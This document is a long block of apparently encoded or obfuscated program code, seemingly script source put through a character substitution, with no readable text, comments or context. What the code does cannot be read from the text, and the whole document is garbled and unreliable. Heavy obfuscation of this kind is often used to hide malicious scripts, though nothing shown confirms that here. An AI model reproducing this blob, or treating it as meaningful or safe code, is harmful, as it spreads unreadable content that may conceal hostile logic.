]AEF\]QC GB\NUQE@MCG@UIUQGMGNUUQE@MCG@^^\UUUUUUUUQDMAUU[HUMAL]AEA\]*F]FCM\]QC GB.QE@MCG@(\UU+UUF]AE@\]Q*EGC \\NUUUUQLAUUUUUHUUUL*MG ]QDMA\NU UUQLAUUUUTHHUUUJUUQLAUOUUUQLG**NUUUUU UUL*MG ]Q* \UUUUUUUU]TCLG]AED\]Q* \\U UUUNUUUUU]]F]AEC\\UUSSUUUU%=%*#0'&<:;*<1UKHUU]DGLCGMX@LCGM\\UUQACDMDH%=%*<;!*84-Z%=%*<;!*84-NQGDHQACDMD^LAN UUUU5MAL]AEB\]Q* YUUUU]CLG]AEM\UUHKUU\\NUUUUUUUUU U5F]AEB\]Q* \NUUUU UUBDBF]\UUUUUUUUUQ *GM@CGD@UUHUUU NUUU]Q *GM@CGD@UUTHHUU \UU UUQ *GM@CGD@NUUUUQFFGBDUHUUU]*F]E\\UJU47&%4!=UUUUOUUWWNUQ *GM@CGD@UUHUF]DF\]*F]AEL\]R))RYUURZRYUUUUQFFGBD\YUUUURZR\UUUUUU[UUUURZRNUUUUU UQ *GM@CGD@NUUU U@G*A  CF]QECMED\UUUUUUUU UUUL ]BDBF]\U[UUUUU]\UACCAG]\UU[UQECMEDYUUUUUU]DE^G\\NUUUUUU UU*E*@]Q*\U UUU]\U]]GL@BECCL^CDAGLFFD\UUUU^UU]]\UUU]F]FBM\]F]GDM\]BDBF]\UUUU[UCLG]ADE\UU[UUQ*\YUEYU]EF^EA\\\UPU]ADM@EDA^AMDALM@\\\NU UULBBLGEB]\UUUUUUU UUU*E*@]CLG]ADD\\NUUUUU UCACEBG]\UUUUQCLUUHUUU]\UU GLAF F**]F]ADG\YUWW\N UUU*F]AEF\]QCL\UUUUUKUU]L^D\UUUUUUSSUUUF]FCC\]QCLYULBBLGEB]\\UUUTHHUUUUUSSUF]AEF\]]\U GLAF F**]MAL]ADF\YUWW\\UUUKU]E^E@C\NUUUUU U GLAF F**]QECMEDYUUQLG**\UUUUUUZZU5UX U ULEA*M A]@G*A  CF]QECMED\YUUQLG**\NUUUUUUUU UUUUUUGFC*@]QECMEDYUQLG**UHUWW\UUUUUUUUQM*EUUUHU GLAF F**]QECMEDYUUQLG**\NUUUUUU]F]AED\]QM*E\\UU UQM*ENUUUUUU]MAL]ADA\]QM*E\\U UU]\UUUUUUQM*ENUUUU UUQLG**NUU UUU*GCGG]QECMEDYUQ  EDCEYUUQGC*D\UUUUUELBCGBBEL]@G*A  CF]QECMED\YUUUUUQ  EDCEYUQGC*D\NUU UUUUUCGF]\UQGD*DBCUUUHUUUUU]Q29:749&.CLG]AD@\(\UUUJUUUQ29:749&.F]AD@\(UUOU]\NUQLCDDUHUUU GLAF F**]CLG]ADC\YUU]\\NU]F]FAF\]QLCDD\\UUUUQGD*DBCUUUUHUUCLG]ADB\]QLCDDYUUUUQGD*DBC\NUUUQGD*DBCUUHUUUU*F]ADM\]QGD*DBC\NUUU U*F]DFA\]QGD*DBCYUUUUX]EFE^EG\\NUUUU UU CG]\UUUUZZU"%U9U7OU UUUUUU]T]Q29:749&.MAL]AD@\(\UU		UUUU]Q29:749&.CLG]AD@\(\\UUU NUUUUUQLCDDUUHUUU GLAF F**]CLG]ADL\YUU]\\NUUQLCUHUCLG]AGE\]CLG]AGD\]]\QLCDDYUQ29:749&.MAL]AD@\(\\NQLCUUHUCLG]DFA\]QLCYUUUX]FC^DA\\NUUUU*GCGG]CLG]AGG\YUQLCYU*F]DLD\\NUUUUUUUUUUU]!UQD@D*G\UUUUQC CCHA@^ANQMFMHQC CCXGFNUUAAMGG*  ]*F]AGF\YUUQD@D*G\NUUUU]0UUUUQD@D*G\UUUUUUUUUUUUU UAEFBL*]Q* YUQ\UUUUUUUUU]TUUMAL]AED\]Q* \UUU		UUUUTUU*F]AED\]Q\U		UUUF]AGA\]Q\UUHHHUE\UUUU UUUU NUUUUUUUQACGMUUUHUUUUUUF]AG@\]Q* \NUQAACAUUUHUU*F]AG@\]Q\NUUUQF*UHUUWWNUUUUUUUUUUU]QE@MCG@UHUUENUQE@MCG@UUUIUUUQACGMNUUUQE@MCG@^^\UUQF*U[HUMAL]AEA\]MAL]AGC\]Q* .QE@MCG@(\UU+UF]AGC\]Q.QE@MCG@UUUUUUPUUUUUQAACA(\\NU UQF*NUUUUUU UUCLB]QGD\UUUUUUUU]TUUUCLG]FAF\]QGD\\UUUUUUUUUUUQGDUUUUHUU]\NUUUQ*DBUUHUUU@EBFEG]\NQAECUUHUUMAL]FLA\]*F]AEE\\UUJUUUULEA*M A]F]AGB\YU\UUUUUOUUUUUNUUUUUUU]CLG]FAF\]QAEC\UUUUSSUU]QAEC.*F]AGM\(\USSUU]\UUQAEC.*F]AGM\(UKHUUU]GAE^CE\USSUUUU]\UUUUUQAEC.CLG]AGL\(UUIHU]DCAMDFXBMADF\\UUUUQ*DBUHU]\UQAEC.CLG]AGL\(NUUUUU]Q*DBUUUIUUUU]FEIID\\UUUQ*DBUUHU]EAFA^EL\NUUUUUUUUQGD.*F]AFE\(UUUUHU]UMAL]AFD\UUUUHKUUUQ*DBYF]AFG\UUHKUU*F]AFF\Y\NUQGD.MAL]AFA\(UUHUUUUU]UUU*F]AFD\UUUUHKUU]@GL^BD\YUUUUUCLG]AF@\UUUUUHKUUUUCLG]AFF\YU\NUUUU UUQGDNUUUU UUUAGFGBA]\U]T*F]FLA\]*F]AFC\\UU		UUUUUUTMAL]FLA\]MAL]AFB\\\UUUUU NUU]TLBG@@LMCLAD]F]AFM\\\UUUU NUUUUUUUUUUU]T** ]GEBGM]\\\UUUZZU"%U&U0OUUUUUUU* *]F]AFL\]\UUU^UUUUUCLG]AAE\]]DAM+DCM\YU]FCFXCF\\YUUUUU*F]AFE\YUUUGEBGM]\\NUUUUUUUUUZZU"%U0U7OUU@FLGL]CLG]AFM\\NUUUUUUUUUUUU UL@LDM]\UUUUUUUUUUU]]CLG]AAD\\UUUSSUU1:<;2*6':;\UUUUUUU NUUUUUUUUUUUUUUUUUUQL@FF@UHUUNUUUUUUUU]QL@FF@\UU NUQL@FF@UUHU NUUUUUUUUUUUUUUUUU]TU@C*G C]\\UUUUUU NUUUUZZU"%U6 U9OUUX UGEEF ]F]AAG\YUUMAL]AAF\YUE\NUUUU UG  ABA]\UUUUUU]TCLG]AAA\]*F]AA@\\UUU		UUTF]AAA\]CLG]AAC\\\UUU NU5MAL]AA@\]* ]MAL]AAB\UU[UMAL]AEL\]R[RYUUUUUWWYU]\U*F]FCE\] \\UUU[UUCLG]AAE\]]EF^ECD\YU]LL@^A\\\YUU]MAL]FFB\UUUUHKUUUUUE[EDYUUUUCLG]AAM\UUUHKUUUUYUUF]FFM\UUHKUU\\NUUUUU UUUUBACA]\UUUUUUUUQ @ACLMUUUUHUUNUUU]Q @ACLM\UUUUU NUQ @ACLMUUUHUUUU NUUUUUUQUUHUUUUNUUUUU]CLG]AAA\]*F]AAL\\\UUU*F]AAL\]\NQUUUUHUUUUUU NUUUUUUUU]MAL]A@E\]CLG]A@D\\\UUUF]A@D\]\NUUUQUUUUUHUU NUUUUUUUUUUUUUUUU]MAL]A@E\]*F]A@G\\\U5*F]A@F\] \NUUUUUUQF*UUUHU*F]A@E\]*F]A@A\\UUUUUUSSU5CLG]A@A\]MAL]A@@\\NUUUU]T*]\UUUSSUUUUTQF*USSUMAL]A@C\]\UUHHHUUUDUUUUUSSUUF]A@E\]*F]A@B\\\UUUUUQ*UHUU5**]\NUUUUUU]Q*UUTHHUUUUUUUUSSUUUUQ*UUUKUUUE\UUUUU5]MAL]A@M\UUUU[UQ*\NUUUUUU5]CLG]A@L\\NUUUUUUUUU]*F]A@C\]\\UU5*F]ACE\]\NUUUUUUUUUU5CLG]ACD\]\NUUUUUUUUUUUQEUUHUUUUUUCLG]A@E\]F]ACG\\UUSSUUUUT]]CLG]ACF\\USSUUU1<&4790*"%*6':;\NUUUUUQG@UUHUUTMAL]A@E\]MAL]ACA\\UUU		UUUU]\UUU*]CLG]AC@\YUUE\UHHHUUENUUUU]TQG@UUUUSSUCLG]A@E\]MAL]ACC\\UUUSSUUUCLG]A@E\]MAL]FL@\\\UUUQBG*FUUUUHU]\UU*]MAL]ACB\YUUUUUUWW\NUUU]QBG*FUUUTHHUUMCCFB]\\UUUZ_UUXU_ZUUUUU5 *]CLG]ACM\YUUMCCFB]\YUUF]DLD\\NUUUUU5 *]*F]AC@\YUUUEYUUF]DLD\\NUQG@UUHUUUU NUUUUUUUUUUUQBEBMUHUUUUNUUUUU]QEUSSUUUUF]ACL\]*F]AFC\\\UUQ@CUUUUHUUUUUU** ]GEBGM]\\NUUU]Q@CUSSUUUU]CLG]AFL\]\UUUXUU]\UQ@C\UKUUU]DAFA^@BCC\\UUUUUUUUUUUUUQBEBMUUUHUU NUUUUUU]F]ACL\]MAL]ABE\\\UUUUUU5*  *]]\UUUQ@CYUUGEBGM]\\NUUUUU]QEUUUUSSUUUTQG@UUUUUUSSUUTQBEBM\UUUQ@CBUHUU*F]ACL\]*F]AFC\\UUUUJUUUUU]\U** ]GEBGM]\\UUOUUENUUUUUU]Q@CBUUIHUUUUUEU		UUQ@CBUUUXUUUUUUF]AFL\]\UUUKU]ML@^@\\UUUUUU5* **]*F]AFL\]\YUUUGEBGM]\\NUUUUUUUUUUGMM*]\NUUUUUU NUUUUUUUU]QBEBM\UAAMGG*  ]MAL]ABD\YU*F]ABG\\NUUUUUU]TQ\UUUUUU]QE\U5* **]CLG]AFL\]\YUUGEBGM]\\NUG  ABA]\NUGMM*]\NU NUUUUU]F]ACL\]CLG]ABF\\\UUU5CLG]ABF\]]DLAXDA\\NUUUUU GGLL]\NUUU]!UUUUQD@D*G\UUUUUAAMGG*  ]MAL]AAG\YUUUQD@D*G\NUUUUUU]0UUQD@D*G\UUU UUGE@]\UUUUUUUUUUUUUUUU]TUMAL]ACL\]*F]ACC\\\UUU NQMA AH%=%*<;!*84-Z%=%*<;!*84-NQ*DEECEGEHQMA A^AENUUUUUUUQ* EFEUUHUUUUF]ACL\]MAL]ABA\\UUJUUUU*]D*LB@@BE]\\UUOUUUUNUUU]TUUUF]AB@\]Q* EFE\\UUQ* EFEUUUHUULEA*M A]CLG]ABC\YUUU\NU]TUUUU*F]AB@\]Q* EFE\\UUUU NUUUUUUUUUUUUU]]Q* EFE.MAL]ABB\(\USSUUUUUUF]ABM\]Q* EFE.CLG]ABB\(\\UUUUZ_UXUX  U_ZUUUQ29:749&.*F]ABL\(UUUHUEBCEGAE]Q* EFE.*F]ABB\(\NUUUU]]Q* EFE.CLG]AME\(\UUUUUSSUUUUCLG]AMD\]Q* EFE.CLG]AME\(\\UUUUUUQ29:749&.MAL]AMG\(UUUUHUUEBCEGAE]Q* EFE.CLG]AME\(\NUUUUUUUUUUUU]]Q* EFE.F]AMF\(\USSUUUUUF]AED\]Q* EFE.MAL]AMF\(\\UUUUUQ29:749&.CLG]AMA\(UUHUQ* EFE.CLG]AM@\(NZZUUUUUUUUUU]]Q* EFE.MAL]AMC\(\UUSSUUUUUUF]AMB\]Q* EFE.MAL]AMC\(\USSUUUF]AG@\]Q* EFE.F]AMC\(\UUUUKUUU]EG^EM\\UUUQ29:749&.*F]AMM\(UUUUUHUQ* EFE.F]AML\(NUUUUUZZU UUU%=%UM[AUUUUUUU]]Q* EFE.CLG]ADD\(\UUUUUUSSUUUUCLG]AMB\]Q* EFE.F]ALE\(\USSUMAL]AG@\]Q* EFE.MAL]ALD\(\UUUUKUUU]DLLXLL\\UUUQ29:749&.*F]ALG\(UUUUHUUQ* EFE.*F]ALD\(NQEAHCB_CNQFBLBAFHQEAXA@NUUUUUUU]!UUUQD@D*G\UUUUUUUUAAMGG*  ]F]ALF\YUUUUQD@D*G\NUUUUUUUUUUUU]0UUUQD@D*G\UUUUUUUUUUUUUU UUUUU@*A*EE]\UUUUUUUUUUU]TCLG]ALA\]F]ACC\\UU		UUTF]ALA\]MAL]FL@\\\UU NUUUU]]\U*]F]AL@\YUUE\UUUKUMAL]AFL\]\UUXUUU]F@AD^@L\\UU NUUUU]*F]ALC\]MAL]ABA\\UUSSUUUU*]MAL]ALB\\\U NQCFC UUUUUUHUU GLAF F**]*F]ALM\YUUWW\NUU]TCLG]AMB\]QCFC \UU		UUMAL]ALL\]QCFC \UIUUUUU]LAFXAAF\UUU		UDGD@@LCD]QCFC \UUUUU		UUT@LE*B ]QCFC \\UQAMMAHFBEANQLHQAMMAPDBNQCFC UUHUNUQ@ CMUHU5*F]GGF\]DCLLEEFE]\\NUUUUUU]Q@ CMUUSSUUQ@ CMUKU]CDCXDDC\UUSSUUQ@ CMUUUIHUUUUU]@GAGMBCD^FL\\UUUUUQ* @M@H%=%*<;!*84-Z%=%*<;!*84-NQ@E@HQ* @M@^DLNUQA CDUUUUUHU5F]GFD\]DCLLEEFE]\\NUUUUUUU]*F]@EE\]QA CD\UUUSSUMAL]@ED\]QA CD\UUUKUU]DEAM@FM^FM\\UUQA CDUUHUUUU*MB @AB]QA CD\NUU]CLG]@EG\]QA CD\UUUSSUUUTDGD@@LCD]QA CD\UUUUUSSUUU@LE*B ]QA CD\\UUUZZU8UOU UXU*GCGG]*F]ALM\YUUUQA CDYUUMAL]DLD\\NUUQCFC UUUHUQA CDNUUUUUU]TQCFC \UQ DFCCEH%=%*84?:'*#0'&<:;NQ*EFHQ DFCCE_DNUUUUU5 *]*F]@EF\YUUUUUF]AFL\]\YUUUF]@EA\\N NUUUUUUUUUUQDAGUHUUUUU]DCLLEEFE]\\NUUUUQADGDUUUHUUUU *LMAEE]\NUUQGL@B LCUUUHUU GD FB@B ]QADGD\NQFACL DH]E@^ELM\NQ**HQFACL DPDFNUUUUUUU]F]AMD\]QGL@B LC\\UUUUUU]QGL@B LCUUQDFML\UUUUUUUU]F]@E@\]QDFMLYUUUUX]D^F\\UUUUHHHUUUUUUCLG]@EC\\UUUQDAG.(UUUUHUUUUQADGDU[UUUUUURZRUU[UUQDFMLNUUUUUUUUU]]CLG]@EB\\UUUSSUF]ALC\]CLG]@EM\\\UUUUU]]\UUUUUU5CLG]@EM\]"%*%9 2<;*1<'U[UUU*F]@EL\\UUUUUUQ@\UUQDAG.(UHUQ@NUUUUUQDAGUUUUHUU*F]@DE\]QDAG\NUUQCAB DFUHUU]\NQB*GD*D UUUUUHUCLG]@E@\]CLG]@DD\]F]@DG\YUUWWYUUU*F]@E@\]QCFC YUUEYUUU]FMFF^CDBEF\\\YUUUUEYUU]EGAF^E@\\NUUUUU]QDAGUUUUUQFFGBD\UUUQLEGUUUUHUU5*F]GGF\]QFFGBD\NU]TQLEGUUUUU		UUUUQLEGUIHU]DEAMALB^BL\\U NQ@D@AFUHUU5CLG]@DF\]QFFGBDYUUYUU YUUUUUEYUUUU]C@@GA^DG\\NUUUUUUU]T*F]@DA\]Q@D@AF\UUU		UUTDGD@@LCD]Q@D@AF\\U NUUUUUUUUUUUUU]QFFGBDUUTHHUUDCLLEEFE]\USSUUUUU*F]@E@\]*F]@DD\]F]@D@\YUWWYUQ@D@AF\YUEYUU]DLLC^@G\\UUTHHUUUQB*GD*D \UUU NUUUUUUQCAB DF.(UUUUHUUQFFGBDNUUUU]TQCAB DF\UUUUUUU]F]ALC\]*F]@DC\\\UUUU*]*F]@DB\YUUUUDYUUU]@GC^BA\\NU NUU5 *]F]@EF\YUUUF]@DM\]\YUUF]@EA\\NUU]QCAB DFUUUUQGDB\UUUUUUUF* ]QGDBYU]ECE^EDAA\\NUUUUUU] FAF@D]QGDBYUFD @]QCFC \\\UM M]QGDB\NUUULAAADF]QGDB\NQMBGH%=%*<;!*84-Z%=%*<;!*84-NQEHQMBG^GBNUUUF* ]QGDBYUU]GGD^BD\\NUUUUUUELAAL*]QGDB\NUUUU]QGDBUUHHHUDCLLEEFE]\\UUUUGDG] \NUUUUFDG] \NUUUUUUUUUUUUUF* ]QGDBYU]GBB^D@\\NUUUUUUUU]!UQD@D*G\UUUUQMFGHGAM	DBLNQM@EHQMFG+D@NUUUUUUAAMGG*  ]MAL]@DL\YUUQD@D*G\NUUUUUU]0UUUUUQD@D*G\UUUUUU UUUGFEF]\UUUUUUUUUUUUUQL@FF@UHUNUU]QL@FF@\U NUUQL@FF@UUHUUUU NUUUUUUUUF@ AM]\NUUU@*A*EE]\NUG]\NGE@]\NUAGFGBA]\NU C@BD]\NBADD]\NUU@A]\NUUUUULLGGEE]\NUUUUUUUU]@C*G C]\\UUUUUUU]CLG]@GE\]CLG]@GD\\USSUUUU*]*F]AAG\\\UUUUUUU]*F]@GE\]CLG]@GG\\\UUCLG]@GG\]CLG]AAF\\NUUUUUUUUUGEEF ]MAL]AAG\YUUUUCLG]AAF\YUUUUE\NUUUUUUUUUUUUU]!UUQD@D*G\UQGLH%=%*<;!*84-Z%=%*<;!*84-NQHQGL^DFNUUUUU]0UUUUQD@D*G\UUUUUUUUUU UGMM*]\UUUUUUUUUU]TF]@GF\]F]AA@\\UUUUU		UTCLG]@GF\]MAL]@GA\\\UUUU NUU]TCLG]@GF\]MAL]@G@\\UUUU		UUUUT*F]@GF\]CLG]FL@\\\UU NUQDMB UUHU*F]@GC\]\NUUUUUUU]QDMB UUUUUXUUU]\UU5*]CLG]@GB\YUE\UIUUUUUU]F@LC^A\\U NUUUUUUUU5 *]F]@GB\YUQDMB YUMAL]@GM\\N5F]AA@\]* ]RZR\YUU]*F]FFB\UUUHKUUUUUGYUUF]FFM\UUUHKUUUYUUU*F]AAM\UHKUUUU\\NUUUU]!UUUQD@D*G\UUUUU]0UQD@D*G\UUUZZUU UU"%U#U7UUUUUU U@C*G C]\UUUUU]TUUMAL]@GL\]CLG]@G@\\\UUUUUU U NUUUUUU]MAL]@GL\]CLG]ABA\\UUUUSSU*]D*LB@@BE]\\\UUUUUUU UUUNQC@H%=%*84?:'*#0'&<:;NQL*HQC@_LNUUUUUUUUUQBB@UHUUU@EBFEG]\NUUUUUUQAECUUHULEA*M A]MAL]ABC\YUUUU\NUUUUUU]*F]AMD\]QAEC\UUUUSSU]QAEC.MAL]@FE\(\UUSSUUUUUU]\UUUQAEC.MAL]@FD\(UUKHUUUU]DLA^DEC\USSU]\UUUQAEC.CLG]@FD\(UUUUIHU]DB@DM^CMMMG\\UUUQBB@UUUUUHUUUUU]\UUUUQAEC.*F]@FD\(NUUQGLM@@UHUU]\UUUUUU*]F]AC@\YUE\NUUUUUU]QGLM@@UUKUUUUUEUUUSSU]CLG]@FG\]\UUXUUUUQGLM@@\UUUUIUUUQBB@\UUUUUUU UUUUNUUUUUUUQLLDE*UUUHUUUUU]\UUU*]CLG]@FF\YUUE\NUUU]QLLDE*UKUE\UUUQDM@LUUHUUUUUU]\UUU*]F]@FA\YUUE\NUUQ@*@LUUUHUU]]GCA^FC\YUUUUUU]D@GFXCGF\YUUUU]DBFC^CA\YU]F@FB^CF\YUU]F@GA^BC\\NUUUQAEUHUUUUQ@*@L.F]@F@\]EYU*F]@FC\]QDM@LUUUXUDYUUUU]D^F\\\(NUUUUUQAEUUU^HUUUUF]AAE\]EYUUU]\UU]QAEUUUUU_UE[G@\\NUUUUUUU]]CLG]@FG\]\UUXUQLLDE*\UUUUUIUQAE\UUUUUZZU5 UUUUU UUNUUUUUUUUUUUUUUU UUU NUU UUUUG]\UUUQDM@LUUUHUU]\U*]*F]@FA\YUUUUE\NU *]CLG]@FA\YUUUQDM@LUU^UUD\NUUU *]CLG]@FF\YUUCLG]@FG\]\\NUUUUUUUUUUU U@ELAMELF EM]\UUUZZU"%U3 U<OUU UUUUUQDAECFUUHUUU]\NUUUUUUUUUUQDAECF.*F]@FB\(UUUHUMCCFB]\NUUUQDAECF.*F]@FM\(UUHUUUUUU%=%*#0'&<:;NUQDAECF.*F]@FL\(UUHUUUUF]MF\]\NQDAECF.MAL]@AE\(UHUUUU]F]@AD\]*F]@AG\\UUUSSU*]\\UUUJUDUUUUOUUENQDAECF.F]@AF\(UUHU]F]@AD\]CLG]GGB\\UUSSUUU* ]\\UUJUDUUOUUENUUUUUUUQDAECF.CLG]@AA\(UUUUUHUU]Q29:749&.MAL]@A@\(\UJUUU]\UUUUUQ29:749&.*F]@A@\(UUUOUWWNQDAECF.CLG]@AC\(UUHU]Q*&0'#0'.MAL]MC\(\UUUUUJUUUCLG]@AB\]]\UUUUUUQ*&0'#0'.MAL]MC\(YUUUEYUUU]B^FF\\UOUUUUWWNUQLEBUUUHUUUU]]Q29:749&.F]@AM\(\USSUUCLG]@AL\]Q29:749&.MAL]@@E\(\\UUUUUJUUUUF]FLD\]Q29:749&.*F]@@E\(\UUOUUWWNQDAECF.*F]@@D\(UUUHU]QLEBUUUTHHUUUWW\UJUDUUUUUOUUUUUENUUUUUQDAECF.*F]@@G\(UUUHUUUU*F]@@F\]QLEB\NUUUUQDAECF.F]@@A\(UHUUT]Q29:749&.*F]@@@\(\UUJUUUUUUDUUOUENQDAECF.F]@@C\(UHUUUT]Q29:749&.MAL]@@B\(\UJUUUUDUUOUENUUQDAECF.CLG]@@M\(UHUUUF]@@L\]MAL]@G@\\UUUUUUJUU]\UUUUU5*]*F]@CE\YUE\UUUOUUUUENUUUUUUQDAECF.MAL]@CD\(UUUUUHU]GFC*@]CLG]@CD\YUWW\UUTHHUUUUWW\UJUUUUDUOUENUUUUUUUQDAECF.*F]@CG\(UHUUF]@@L\]*F]@G@\\UJU]\UUU5*]*F]@CF\YUE\UOUUUENUQDAECF.MAL]@CA\(UUHUMAL]@@L\]*F]@G@\\UUJUUUU]\UU5*]*F]@C@\YUUUUE\UUUOUUUUUENUUUUUUQDAECF.MAL]@CC\(UHUUCLG]@CB\]CLG]@G@\\UUUJUUUUU]\UUUU5*]F]@CM\YUE\UOUENQADCEUUHU GBME M L]\NUUUUUQDAECF.*F]@CL\(UUHUUUUUU5MAL]@BE\]QADCEU[UU*F]@BD\\UUJU]A]5CLG]@BG\]QADCEU[UUUU*F]@BD\YUUUYUU YUEYUUU]MDDD^MD\\\UJUUUUUGUUUOUUD\UUOUUUENUUQDAECF.MAL]@BF\(UHUU5F]@BA\]QADCEUU[UMAL]@B@\\UUJU]A]5CLG]@BC\]QADCEU[UUUF]@B@\YUYUUUU YUUUEYUUUU]MDCF^GL\\\UJUUUGUUUOUUUD\UUUOUUUUUENQDAECF.F]@BB\(UHUU5F]@BA\]QADCEUUU[UU*F]@BM\\UJUU]A]5F]@BC\]QADCEUUUU[UUUUU*F]@BM\YUYU YUUUUEYUUUUUU]MDDG^ME\\\UJUUUUGUUOUUD\UUUUUUOUENQ*BBUUHUUUUMAL]@BL\UUUUU[UUUL ]47&%4!=U[URRYUU]DFX@\\NUUUUUQBCB*LEUUUUUHUUUUUCLG]@ME\U[UUUUUL ]47&%4!=U[UURRYUU]DFX@\\NUUUUQDAECF.MAL]@MD\(UUUHUENUUUU]]GMFM]\YUUQADCEYU47&%4!=UU[UU*F]@MG\\UUUQCECD@\UUUUU]5CLG]@BA\]QCECD@UU[URZRUU[UUQ*BBUU[UUF]@EC\\\UUUUUQDAECF.CLG]@MD\(UHUUDNUU]5F]@BA\]QCECD@UUUUUU[UUUUURZRUUU[UUQBCB*LE\USSUUUU]\U5*F]GEG\]QCECD@UUUUU[UURZRU[UUUUUQBCB*LE\UUKUUCLG]@MF\]\UUUXUUU]F@MXDDM\\UUUQDAECF.CLG]@MA\(UUUUUUHUUGNUUUNUUUUUUU ]QBCB*LEYUUQCECD@\NUUQ*LD* MFUHU*F]@M@\]F]A@A\\UUJUU5*F]A@A\]CLG]@MC\\UUOUNUUUUU]TMAL]@MB\]Q*LD* MF\UUUU		UQ*LD* MFUHHHUUUUUWWUUUU		UUUUUQ*LD* MFUUUHHHUUUF]@MM\\UQ*LD* MFUUHUUUUU*F]@ML\NQDAECF.MAL]@LE\(UUHUUU]5F]@BA\]47&%4!=U[UQ*LD* MF\USSUUUUCLG]FCC\]]\UU5F]@BC\]47&%4!=UU[UUUUQ*LD* MF\YUU*F]@LD\\UUTHHUUUUU\UUUJUUDUUUOUUENQDAECF.F]@LG\(UUHUU]5*F]@LF\]47&%4!=UUUUU[UUUUUUF]@LA\\UUSSU*F]FCC\]]\UUU5*F]@BC\]47&%4!=U[UUCLG]@LA\\YUF]@L@\\UUUTHHUUUUUU\UUJUUUUDUUUOUUUENQDAECF.F]@LC\(UHUUU]5*F]@LB\]47&%4!=UU[UUUUMAL]@LM\\UUSSUMAL]FCC\]]\UU5*F]@LL\]47&%4!=UUU[UUUUF]CEE\YUUUYU YUUUUUUEYUU]C@@GE^DC\\YUUF]CED\\UTHHUUU\UUUJUUUDUUOUENUUQDAECF.CLG]CEG\(UHU]*F]CEF\\UUUUUUJUUDUUUUUOUENUUUUUUQDAECF.CLG]CEA\(UUUHUUUUUU]]F]CE@\\UU		U]*F]CEC\\UU		U]*F]CEB\\U		UUCLG]@M@\]*F]CEM\\UUUUUU		UUUUUUMAL]CEL\]*F]CDE\\UUUUUU		UUUU]Q29:749&.CLG]CDD\(\UU		UUCLG]CDG\]CLG]CDF\\\UUUUUJUDUUOUUENUQDAECF.MAL]CDA\(UUHUUUU]\U*]CLG]AC@\YUUUUE\NQDAECF.MAL]CD@\(UHUUUU]\UU*]MAL]CDC\YUUE\NUQDAECF.*F]CDB\(UUUUHU]\UUUU*]*F]CDM\YUUUE\NQFFELUUUHUUUUU GLAF F**]MAL]CDL\YU]\\NQCHCLENQ@H]QCKE\JQCOXQCNUQMGALG@UUUUUHUUENUUUUQ E *CUUUHUUENUUUUUUU]CLG]AMD\]QFFEL\\UUUUUUUUUUUU]QFFELUUUQDFML\UUUUUUUUUU]*FB MGDA]QDFML\UUUHHHUUUUWW\UU NQMGALG@^^NUUQGFLMUUHUUUMAL]AMD\]QDFML\UUJU]\UU]]QDFML.CLG]CGE\(\UUUUJUUQDFML.*F]CGE\(UOUUUD\UUUUOUUUDNUUQDAL *LUUUHUMAL]AMD\]QDFML\USSUUUU]QDFML.CLG]CGD\(\UJUU]\UUQDFML.MAL]CGD\(UUOUENUUUUU]TQGFLMUSSUUUU]TQDAL *LU		UUUQDAL *LUIUUCLG]CGG\]\UUUUXUUU]F@@E^@E\\\UQ E *C^^NUUUUUUUQDAECF.F]CGF\(UUHUQMGALG@NUUQDAECF.*F]CGA\(UUUUUUHUUUQ E *CNUUUUQ G@UUUUUHUUCLG]CDG\]CLG]@G@\\UUUUUJUU5*]MAL]CG@\YUWW\UUUUUUOUUUUUUWWNUUUUQDAECF.CLG]CGC\(UUUHUUUF]CGB\]Q G@\UUJU*F]@AB\]Q G@YUUUUEYUUUU]GFL+GFA\\UUUUUUOUUUWWNUQ* LFFAUUHUF]CDG\]MAL]@G@\\UUUUUJU5*]*F]CGM\YUUU]\\UUOUUUU]\NUUUUQDAECF.*F]CGL\(UUHU]F]AMD\]Q* LFFA\UUSSU]T]Q* LFFA.RR(\UUUUU		UUT]Q* LFFA.F]CFE\(\\\UJUUUDUUUUOUUUUUUENUUUUUUUUUU]!UQD@D*G\UUUUUUUQDAECF.F]CFD\(UHUMAL]CFG\]QD@D*GXK8]\YUEYUUU]AG^DM\\NUUUUUU]0UUUUQD@D*G\UUUUUUQDAECF.MAL]CFD\(UHU*F]CFF\]QD@D*GXK8]\YUEYUUU]EGM^EDA\\NUUUUUUUU UUQDAECFNUUUU UU*DAG@BF]\UUUUUUU]MAL]CDG\]*F]CFA\\\UUUUUUUUUU UU]\UUU* ]MAL]CF@\\NUUUUUUU U*F]CDG\]*F]CFC\\UUJUUU]\UUUUU** ]\UUUOUUWWNUUUUUUU UE]QLG**\UUUQALA UHUUUWWNUUUUUU]*F]CDG\]*F]CFB\\\UUUZZUXU UUQALA UUUUHUU]\UUUUUUF]CFM\]* ]\YU]MAL]CFL\\\NUUUUUU]TUUUUQALA UUSSUU*F]CDG\]*F]CAE\\\UUUQALA UHUU]\UUMAL]CFM\]** ]\YU]MAL]CFL\\\NUUUUUUU]TUUUQALA UUUUUSSUF]CDG\]*F]CAD\\\UUQALA UUHU]\UUUUUUF]CFM\]*]F]CAG\\YUU]*F]CFL\\\NUUU]TUUQALA UUSSUUUMAL]CAF\]F]CAA\\\UUUUUUUQALA UHU]\UUUUMAL]CFM\]]\UUU*]*F]CA@\YUUUWW\YUU]CLG]CFL\\\NUUUUUUUUU]TUUUQALA USSU]Q*&0'#0'.CLG]CAC\(\\UUUQALA UHUU]\UUUUQ*&0'#0'.CLG]CAC\(NUU]TUQALA UUSSU]Q*&0'#0'.MAL]CAB\(\\UUUUUUUUUUUQALA UUHUUUU]\UQ*&0'#0'.CLG]CAB\(NUUUU]TUUQALA \UUUUZZU"%U!U7OU U UQLG**NUUUU UUUQALA NUU UUUU GGLL]\UUUUUUUUUUZ_UUU_ZUQBMGUUUUUHUUUF]CAM\]MAL]A@A\\UJUUU]\UUU5MAL]CAL\]*F]C@E\\UUOUUUENUU]MAL]CAM\]MAL]ABF\\\U5CLG]C@D\]]DLFXDF\\NUUQ MBLF UHUU]QBMGUKUU]E^EC\USSUUQBMGUUUUIU]A@IIG\\UJU]QBMGUUUXUUUUUU]M^G\\UUOU]]QBMGUUUUUUKUUUUEUUSSUUUUQBMGUUIHUUUU]FA+@A\\UUJU]B^F\UUOUUUUUU]EDL^EAD\\NUUUUUU]TUUUU@C*G C]\\UUU NUUUUUUUUU]TLBG@@LMCLAD]*F]AFM\\\UUUUUUUU NUUUUUUQCL*UUHUUUCLG]C@G\] \NUUUQM UHUUUBCMD@FD]\NUUUUUU]TUUUF]AMD\]QM \		UUTU]QM .MAL]FM@\(\UUUUUU		UUTUUUUUMAL]C@F\]QM .MAL]C@A\(\U		UTUUUUUQM .MAL]C@A\(UUU		UUUTUUUU]QM .CLG]FLG\(\UUU	